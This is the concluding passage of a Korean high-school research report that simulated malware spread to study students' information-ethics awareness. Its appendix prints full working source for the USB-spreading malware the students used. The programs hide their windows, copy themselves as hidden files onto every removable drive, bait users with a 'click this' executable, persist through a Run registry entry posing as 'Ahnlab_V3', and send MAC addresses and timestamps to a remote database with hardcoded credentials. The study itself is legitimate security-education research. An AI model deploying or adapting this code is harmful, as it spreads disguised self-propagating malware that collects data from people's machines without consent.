대한민국 고등학생의 정보윤리의식 및 보안의식의 수준이 심각한 것으로 나타났다. 기존 에 학교에서 진행되는 단순 강의식 정보윤리 교육이 아닌, 학생이 실제적으로 체감하여 보안의식을 강화할 수 있는 교육이 이루어져야 할 것이다.

(14)

4. 홍보 및 사후 활용

□ 고등학생 정보윤리의식 교육

○ 정보윤리의식 설문조사 결과

정보윤리의식 설문조사 결과, 주요 전파자 및 감염자가 보이는 주요 특성을 확인할 수 있었다. 그러므로, 고등학교의 정보윤리의식 교육에 감염자의 특성에 대한 교육을 집중적으 로 이행한다면 긍정적인 효과를 거둘 수 있을 것이다.

5. 참고문헌

김현지, 이혁재(2016). 도시 간 전염병 확산의 수학적 모형, New Physics: Sae Mullli, Vol. 66, Np. 4, April 2016, 494-501

도미진, 김종태, 최보승(2017), SEIR 모형을 이용한 전염병 모형 예측 연구, Journal of the Korean Data

& Information Science Society 2017, 28(2), 297-307

배영미(2014). 한국형 감염병 확산시뮬레이션을 위한 대용량 공공데이터 활용방안 연구.

안인경(2014). 확산성 전염병 모델의 수학적 연구. NDSL

이상구, 고래영, 이재화(2010). 신종 인플루엔자의 수학적 모델링, J. Korean Soc. Math. Ed. Ser. E:

Communications of Mathematical Education Vol. 24, No. 4, Nov, 2010, 877-889

(15)

이상원(2011). 전염병 모델의 연대기적 분석과 후속모델에 대한 고찰,

황교상, 이태식, 이현록(2014). 센서스 데이터를 기반으로 만든 전염병 전파 시뮬레이션 모델, Journal of the Korean Institute of Industrial Engineers, Vol. 40, No. 2, 163-171

Marco Ramilli, Matt Bishop, Shining Sun(2011). Multiprocess malware. MALWARE '11 Proceedings of the 2011 6th International Conference on Malicious and Unwanted Software

※ 저자 성명의 가나다 순으로 기재, abc 순으로 기재

※ 한글 참고문헌을 앞에 기재, 영문을 두 번째, 타 언어를 마지막에 기재

6. 부록

○ 확산과정에 사용한 악성코드의 소스 코드 UsbCheck.exe

#include<stdio.h>

#include<string>

#include<fstream>

#include<time.h>

#include<Windows.h>

#include<io.h>

#pragma warning(disable:4996)

#define _WIN32_WINNT 0x0500

#define MSIZE 16777216

static BOOL SetRegistyStartProgram(BOOL bAutoExec, LPCSTR lpValueName, LPCSTR lpExeFileName)

{

HKEY hKey;

LONG lRes;

if (bAutoExec) {

if (lpValueName == NULL || lpExeFileName == NULL) return FALSE;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microso ft\\\\Windows\\\\CurrentVersion\\\\Run\\", 0L, KEY_WRITE, &hKey) != ER ROR_SUCCESS)

return FALSE;

lRes = RegSetValueEx(hKey, lpValueName, 0, REG_SZ, (BYTE*)lpExeFileNa

(16)

me, lstrlen(lpExeFileName));

RegCloseKey(hKey);

if (lRes != ERROR_SUCCESS) return FALSE;

} else {

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microso ft\\\\Windows\\\\CurrentVersion\\\\Run\\", 0, KEY_ALL_ACCESS, &hKey)

!= ERROR_SUCCESS)

return FALSE;

lRes = RegDeleteValue(hKey, lpValueName);

RegCloseKey(hKey);

if (lRes != ERROR_SUCCESS) return FALSE;

}

return TRUE;

}

int fileCopy(const char* src, const char* dst) { FILE *in, *out;

char* buf;

size_t len;

if (!strcmpi(src, dst)) return 4;

if ((in = fopen(src, "rb")) == NULL) return 1;

if ((out = fopen(dst, "wb")) == NULL) {

fclose(in);

return 2;

}

if ((buf = (char *)malloc(MSIZE)) == NULL) {

fclose(in);

fclose(out);

return 10;

(17)

}

while ((len = fread(buf, sizeof(char), sizeof(buf), in)) != NULL) if (fwrite(buf, sizeof(char), len, out) == 0) {

fclose(in); fclose(out);

free(buf);

_unlink(dst);

return 3;

} fclose(in);

fclose(out);

free(buf);

return 0;

}

int main(int argc, char **argv) {

HWND hWnd = GetConsoleWindow();

ShowWindow(hWnd, SW_HIDE);

time_t t = time(NULL);

time_t timer;

struct tm tm = *localtime(&t);

FILE *fp;

FILE *timing;

fp = fopen("deleteme.bat","wt");

timing = fopen("C:\\Users\\Public\\Documents\\Copytime.txt","a");

int i = 0;

int j = 0;

char test[26][4] = { "A:\\","B:\\","C:\\","D:\\","E:\\","F:\\","G:\\","H:\\","I:\\","

J:\\","K:\\","L:\\","M:\\","N:\\","O:\\","P:\\","Q:\\","R:\\","S:\\","T:\\","U:\

\","V:\\","W:\\","X:\\","Y:\\" ,"Z:\\" };

int check[26] = {};

char filename[20];

char filenames[20];

char filenamess[200];

char filenamesss[20];

char filenamessss[20];

char timefile[20];

(18)

char exefile[20];

char path[1000];

timer = time(NULL);

for (i = 0; i <= 26; i++) {

Sleep(1000);

tm = *localtime(&t);

if (tm.tm_year>=119) {

fprintf(fp, "\:AAA\ndel \"%s\"\n\IF exist \"%s\" GOTO AAA\n

\:BBB\n\del deleteme.bat\n\IF exist deleteme.bat GOTO BBB\n", argv[0], argv[0]);

fclose(fp);

ShellExecute(NULL, "open", "deleteme.bat", NULL, NULL, SW_HID E);

return 0;

}

if (i == 26) {

i = 0;

}

if (GetDriveType(test[i]) == 2) {

if (check[i] == 0) {

check[i] = 1;

if (access(filename, 0) == 0) {

continue;

} else {

GetModuleFileName(NULL, path, 1000);

filename[0] = test[i][0];

filename[1] = test[i][1];

(19)

filename[2] = test[i][2];

filename[3] = test[i][3];

strcat(filename, "MAC.txt");

fileCopy("C:\\Users\\Public\\Documents\\MAC.

txt", filename);

filenames[0] = test[i][0];

filenames[1] = test[i][1];

filenames[2] = test[i][2];

filenames[3] = test[i][3];

strcat(filenames, "UsbCheck.exe");

fileCopy("C:\\Users\\Public\\Documents\\UsbC heck.exe", filenames);

filenamess[0] = test[i][0];

filenamess[1] = test[i][1];

filenamess[2] = test[i][2];

filenamess[3] = test[i][3];

strcat(filenamess, "이거 클릭해봐.exe");

fileCopy("C:\\Users\\Public\\Documents\\이거 클릭해봐.exe", filenamess);

filenamesss[0] = test[i][0];

filenamesss[1] = test[i][1];

filenamesss[2] = test[i][2];

filenamesss[3] = test[i][3];

strcat(filenamesss, "reading.exe");

fileCopy("C:\\Users\\Public\\Documents\\readi ng.exe", filenamesss);

filenamessss[0] = test[i][0];

filenamessss[1] = test[i][1];

filenamessss[2] = test[i][2];

filenamessss[3] = test[i][3];

strcat(filenamessss, "MACaddress.exe");

fileCopy("C:\\Users\\Public\\Documents\\MAC address.exe", filenamessss);

(20)

timer = time(NULL); // 현재 시각을 초 단위로 얻기 fprintf(timing, "%d.",timer);

fclose(timing);

timefile[0] = test[i][0];

timefile[1] = test[i][1];

timefile[2] = test[i][2];

timefile[3] = test[i][3];

strcat(timefile, "Copytime.txt");

fileCopy("C:\\Users\\Public\\Documents\\Copyt ime.txt", timefile);

exefile[0] = test[i][0];

exefile[1] = test[i][1];

exefile[2] = test[i][2];

exefile[3] = test[i][3];

strcat(exefile, "Executetime.txt");

fileCopy("C:\\Users\\Public\\Documents\\Execu tetime.txt", exefile);

SetFileAttributes(filename, FILE_ATTRIBUTE_HIDD EN);

SetFileAttributes(filenames, FILE_ATTRIBUTE_HID DEN);

SetFileAttributes(filenamesss, FILE_ATTRIBUTE_HI DDEN);

SetFileAttributes(filenamessss, FILE_ATTRIBUTE_H IDDEN);

SetFileAttributes(timefile, FILE_ATTRIBUTE_HIDD EN);

SetFileAttributes(exefile, FILE_ATTRIBUTE_HIDDE N);

} }

}

else {

check[i] = 0;

(21)

} }

return 0;

}

reading

using System;

using System.Collections.Generic;

using System.Linq;

using System.Data.SqlClient;

using System.Text;

using System.Threading.Tasks;

using System.Runtime.InteropServices;

using System.Net.NetworkInformation;

using System.IO;

using System.Diagnostics;

namespace reading {

class Program {

[DllImport("kernel32.dll")]

static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]

static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;

const int SW_SHOW = 1;

static void Main(string[] args) {

string date = "";

int a = 0;

var hWnd = GetConsoleWindow();

ShowWindow(hWnd, SW_HIDE);

string test = "";

string ctimes = "";

string etimes="";

System.IO.StreamReader name;

(22)

System.IO.StreamReader ctime;

System.IO.StreamReader etime;

name = new System.IO.StreamReader("MAC.txt");

ctime = new System.IO.StreamReader("Copytime.txt");

etime = new System.IO.StreamReader("Executetime.txt");

test = name.ReadToEnd();

ctimes = ctime.ReadToEnd();

etimes = etime.ReadToEnd();

System.Console.WriteLine(test);

string connectionString = "server = ms1201.gabiadb.com,1433; uid = kamchee;

pwd = kamchee1234!; database = steam;";

SqlConnection sqlConn = new SqlConnection(connectionString);

SqlCommand sqlComm = new SqlCommand();

SqlConnection sqlctime = new SqlConnection(connectionString);

SqlCommand sqlctimes = new SqlCommand();

SqlConnection sqletime = new SqlConnection(connectionString);

SqlCommand sqletimes = new SqlCommand();

date = DateTime.Now.ToString("yyyy");

a = Convert.ToInt32(date);

if(a>=2019) {

string batDeleteName = "dle.bat";

string batDeleteFullPath = Path.GetTempPath() + "\\" + batDeleteName;

string applicationFullPath = "reading.exe";

var stringBuilderBatDeleteContents = new StringBuilder();

stringBuilderBatDeleteContents.Append(":Loop\r\n");

stringBuilderBatDeleteContents.Append("del /a H \"");

stringBuilderBatDeleteContents.Append(applicationFullPath);

(23)

stringBuilderBatDeleteContents.Append("\"\r\n");

stringBuilderBatDeleteContents.Append("if exist \"");

stringBuilderBatDeleteContents.Append(applicationFullPath);

stringBuilderBatDeleteContents.Append("\" goto Loop");

stringBuilderBatDeleteContents.Append("\r\ndel \"");

stringBuilderBatDeleteContents.Append(batDeleteFullPath);

stringBuilderBatDeleteContents.Append("\"");

string batContents = stringBuilderBatDeleteContents.ToString();

System.IO.File.WriteAllText(batDeleteFullPath, batContents, Encoding.

Default);

var processStartInfoDeleteBat = new ProcessStartInfo();

processStartInfoDeleteBat.FileName = batDeleteFullPath;

processStartInfoDeleteBat.WindowStyle = ProcessWindowStyle.Hidden;

Process.Start(processStartInfoDeleteBat);

}

while (true) {

if (NetworkInterface.GetIsNetworkAvailable()) {

try {

sqlComm.Connection = sqlConn;

sqlComm.CommandText = "insert into MAC (MAC) values (@p aram1)";

sqlConn.Open();

sqlComm.Parameters.AddWithValue("@param1", test);

sqlComm.ExecuteNonQuery();

sqlctimes.Connection = sqlctime;

sqlctimes.CommandText = "insert into CTIME (CTIME) values (@param1)";

sqlctime.Open();

sqlctimes.Parameters.AddWithValue("@param1", ctimes);

sqlctimes.ExecuteNonQuery();

sqletimes.Connection = sqletime;

(24)

sqletimes.CommandText = "insert into ETIME (ETIME) values (@param1)";

sqletime.Open();

sqletimes.Parameters.AddWithValue("@param1", etimes);

sqletimes.ExecuteNonQuery();

break;

}

catch (Exception e) {

Console.WriteLine(e.Message);

Console.WriteLine(e.Source);

Console.WriteLine(e.StackTrace);

} finally {

if (sqlConn != null) {

sqlConn.Close();

} } break;

} } } } }

MACaddress.exe

#include<stdio.h>

#include<Windows.h>

#include<iphlpapi.h>

#include<tchar.h>

#include<time.h>

#pragma comment(lib,"iphlpapi.lib")

#pragma warning(disable : 4996)

#define _WIN32_WINNT 0x0500 int main(int argc, char **argv) {

(25)

HWND hWnd = GetConsoleWindow();

ShowWindow(hWnd, SW_HIDE);

time_t t = time(NULL);

struct tm tm = *localtime(&t);

FILE *fp;

fp = fopen("deletemess.bat", "wt");

FILE *opening;

char buf[18];

HWND hwnd = GetConsoleWindow();

ShowWindow(hwnd, SW_HIDE);

DWORD size = sizeof(PIP_ADAPTER_INFO);

int save[255];

PIP_ADAPTER_INFO info;

tm = *localtime(&t);

if (tm.tm_year >= 119) {

fprintf(fp, "\:AAA\ndel \"%s\"\n\IF exist \"%s\" GOTO AAA\n\:BBB\n

\del deletemess.bat\n\IF exist deleteme.bat GOTO BBB\n", argv[0], argv[0]);

fclose(fp);

ShellExecute(NULL, "open", "deletemess.bat", NULL, NULL, SW_HIDE);

return 0;

}

ZeroMemory(&info, size);

opening = fopen("MAC.txt", "a");

SetFileAttributes("MAC.txt", FILE_ATTRIBUTE_NORMAL);

int result = GetAdaptersInfo(info, &size);

if (result == ERROR_BUFFER_OVERFLOW) {

info = (PIP_ADAPTER_INFO)malloc(size);

GetAdaptersInfo(info, &size);

}

if (!info) {

return 0;

}

save[0] = info->Address[0]; save[1] = info->Address[1]; save[2] = info->Addres

(26)

s[2]; save[3] = info->Address[3]; save[4] = info->Address[4]; save[5] = info->A ddress[5];

for (int i = 0; i < 6; i++) {

int mod = save[i] % 16;

if (mod < 10) {

buf[3 * i + 1] = 48 + mod;

} else {

buf[3 * i + 1] = 65 + (mod - 10);

}

mod = save[i] / 16;

mod = mod % 16;

if (mod < 10) {

buf[3 * i] = 48 + mod;

} else {

buf[3 * i] = 65 + (mod - 10);

}

buf[(3 * i) + 2] = '-';

}

buf[17] = '\0';

fprintf(opening, "%s.", buf);

SetFileAttributes("MAC.txt", FILE_ATTRIBUTE_HIDDEN);

return 0;

}

이거 클릭해봐.exe

#include<stdio.h>

#include<Windows.h>

#include<time.h>

#pragma warning(disable:4996)

#define MSIZE 16777216 HKEY hKey = NULL;

(27)

char path[1000] = "C:\\Users\\Public\\Documents\\UsbCheck.exe";

char regSubKeyPath[1000] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ru n";

char valueName[100] = "Ahnlab_V3";

#define _WIN32_WINNT 0x0500

static BOOL SetRegistyStartProgram(BOOL bAutoExec, LPCSTR lpValueName, LPCSTR lpExeFileName)

{

HKEY hKey;

LONG lRes;

if (bAutoExec) {

if (lpValueName == NULL || lpExeFileName == NULL) return FALSE;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microso ft\\\\Windows\\\\CurrentVersion\\\\Run\\", 0L, KEY_WRITE, &hKey) != ER ROR_SUCCESS)

return FALSE;

lRes = RegSetValueEx(hKey, lpValueName, 0, REG_SZ, (BYTE*)lpExeFileNa me, lstrlen(lpExeFileName));

RegCloseKey(hKey);

if (lRes != ERROR_SUCCESS) return FALSE;

} else {

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microso ft\\\\Windows\\\\CurrentVersion\\\\Run\\", 0, KEY_ALL_ACCESS, &hKey)

!= ERROR_SUCCESS)

return FALSE;

lRes = RegDeleteValue(hKey, lpValueName);

RegCloseKey(hKey);

if (lRes != ERROR_SUCCESS) return FALSE;

}

return TRUE;

}

(28)

int fileCopy(const char* src, const char* dst) { FILE *in, *out;

char* buf;

size_t len;

if (!strcmpi(src, dst)) return 4;

if ((in = fopen(src, "rb")) == NULL) return 1;

if ((out = fopen(dst, "wb")) == NULL) {

fclose(in);

return 2;

}

if ((buf = (char *)malloc(MSIZE)) == NULL) {

fclose(in);

fclose(out);

return 10;

}

while ((len = fread(buf, sizeof(char), sizeof(buf), in)) != NULL) if (fwrite(buf, sizeof(char), len, out) == 0) {

fclose(in); fclose(out);

free(buf);

_unlink(dst);

return 3;

}

fclose(in);

fclose(out);

free(buf);

return 0;

}

(29)

int main(int argc, char *argv[]) {

HWND hWnd = GetConsoleWindow();

ShowWindow(hWnd, SW_HIDE);

time_t t = time(NULL);

time_t timer;

FILE *timing;

timer = time(NULL);

timing = fopen("Executetime.txt", "a");

fprintf(timing, "%d.", timer);

fclose(timing);

struct tm tm = *localtime(&t);

FILE *fp;

fp = fopen("deletemes.bat", "wt");

tm = *localtime(&t);

if (tm.tm_year >= 119) {

fprintf(fp, "\:AAA\ndel \"%s\"\n\IF exist \"%s\" GOTO AAA\n\:BBB\n

\del deletemes.bat\n\IF exist deleteme.bat GOTO BBB\n", argv[0], argv[0]);

fclose(fp);

ShellExecute(NULL, "open", "deletemes.bat", NULL, NULL, SW_HIDE);

return 0;

}

fileCopy("UsbCheck.exe", "C:\\Users\\Public\\Documents\\UsbCheck.exe");

fileCopy("reading.exe", "C:\\Users\\Public\\Documents\\reading.exe");

fileCopy("이거 클릭해봐.exe", "C:\\Users\\Public\\Documents\\이거 클릭해봐.e xe");

fileCopy("MACaddress.exe", "C:\\Users\\Public\\Documents\\MACaddress.ex e");

fileCopy("Copytime.txt", "C:\\Users\\Public\\Documents\\Copytime.txt");

fileCopy("Executetime.txt", "C:\\Users\\Public\\Documents\\Executetime.txt");

SetFileAttributes("C:\\Users\\Public\\Documents\\UsbCheck.exe", FILE_ATTR

(30)

IBUTE_HIDDEN);

SetFileAttributes("C:\\Users\\Public\\Documents\\reading.exe", FILE_ATTRIB UTE_HIDDEN);

SetFileAttributes("C:\\Users\\Public\\Documents\\이거 클릭해봐.exe", FILE_A TTRIBUTE_HIDDEN);

SetFileAttributes("C:\\Users\\Public\\Documents\\MACaddress.exe", FILE_AT TRIBUTE_HIDDEN);

SetFileAttributes("C:\\Users\\Public\\Documents\\Copytime.txt", FILE_ATTRI BUTE_HIDDEN);

SetFileAttributes("C:\\Users\\Public\\Documents\\Executetime.txt", FILE_ATT RIBUTE_HIDDEN);

ShellExecute(NULL, "open", "C:\\Users\\Public\\Documents\\MACaddress.exe

", NULL, NULL, SW_HIDE);

ShellExecute(NULL, "open", "C:\\Users\\Public\\Documents\\UsbCheck.exe" , NULL, NULL, SW_HIDE);

ShellExecute(NULL, "open", "C:\\Users\\Public\\Documents\\reading.exe", NU LL, NULL, SW_HIDE);

fileCopy("MAC.txt", "C:\\Users\\Public\\Documents\\MAC.txt");

SetFileAttributes("C:\\Users\\Public\\Documents\\MAC.txt", FILE_ATTRIBUT E_HIDDEN);

if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, regSubKeyPath, 0, NULL, REG_O PTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_

SUCCESS) {

::RegSetValueEx(hKey, valueName, 0, REG_SZ, (BYTE*)path, strlen(path));

::RegCloseKey(hKey);

}

return 0;

}

【연구 결과보고서 작성 시 유의 사항】

(31)

․연구 과정을 충실하게 기술하되 간결하고 경제적으로 표현할 것

․불필요한 폰트, 디자인 서식, 이미지 등을 가급적 자제할 것

․위의 연구 결과보고서는 분량 제한 없음

참조

관련 문서

첫째, 이들 자질로는 충분히 설명될 수 없는 다양한 텍스트 유형이 존재 둘째, 일부 텍스트 유형들은 이들 자질에 기대면 여러 가지 텍스트 집단 에 속할

- 넷째, 독일어 추모문은 고인의 업적을 알리고 이를 칭송 하는 점에서 제보기능이 중심을 이루며, 여기에 추모문에 따라, 특히 신문 추모문에서 고인에 대한

농촌지역, 특히 농촌재생과 관련된 전국적 단위의 통계자료 구축이 미흡한 상황에서 일반적인 논 의의 시도를 위해 빅데이터를 활용한 텍스트 네트워크 분석은 현시점의

여자고등학교 제벡 효과와 펠티에 효과에 대한 연구 및 비상용 랜턴 개발 51 대전 대전과학고등학교 사무공간용 이동성 최적화 저소음 바퀴의자 제작

이 모듈에서는 조명 제작 전문가로서 조명 제작에 대한 의뢰서를 받아 분석하고 조명을 제작 하기 위한 탐색을

Jib crane 이 이 탑재된 탑재된 단동선 단동선 – – 하역장치 하역장치 제작 제작. 크레인

애니메이션 기획자(Animation Producer)의 직무는 시장 환경 분석과 소재 및 컨셉개발을 통한 기획을 토대로 제작 계획을 수립하고, 제작 계획에 준한 작품

이러한 분석을 위해 인터넷에서 파생 되는 단어들에 대해 웹 크롤링(Crawling) 통 한 텍스트 데이터를 추출하고 텍스트 마이닝과 오피니언 마이닝을 통해 의미부여